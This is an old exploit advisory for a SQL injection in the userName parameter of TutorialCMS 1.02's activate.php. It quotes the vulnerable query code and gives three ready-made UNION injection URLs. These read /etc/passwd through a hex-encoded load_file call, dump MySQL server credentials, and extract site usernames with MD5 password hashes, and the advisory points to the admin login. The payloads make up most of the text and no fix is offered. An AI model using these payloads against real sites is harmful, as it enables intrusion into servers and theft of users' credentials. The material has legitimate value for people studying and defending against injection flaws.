TutorialCMS 1.02 (userName) Remote SQL Injection Vulnerability

2008-01-12 00:00:00

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
TutorialCMS 1.02 Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by ka0x
contact: ka0x01[at]gmail.com
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
#from spain

download http://www.wavelinkmedia.com/scripts/tutorialcms/

need magic_quotes_gpc = off

vulnerability in activate.php

vuln code:
[...]

$userName = $_GET["userName"];
$code = $_GET["activate"];
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";

[...]

/etc/password:
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/*

User and Password from mysql.user:
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/mysql.user/*

POC: http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(0x757365723a20,username,0x20706173733a20,password),6,7,8,9,9,9,9,9/**/from/**/users/*

The encription of password is MD5
login: http://[host]/admin

#

Fixes

No fixes

In order to submit a new fix you need to be registered.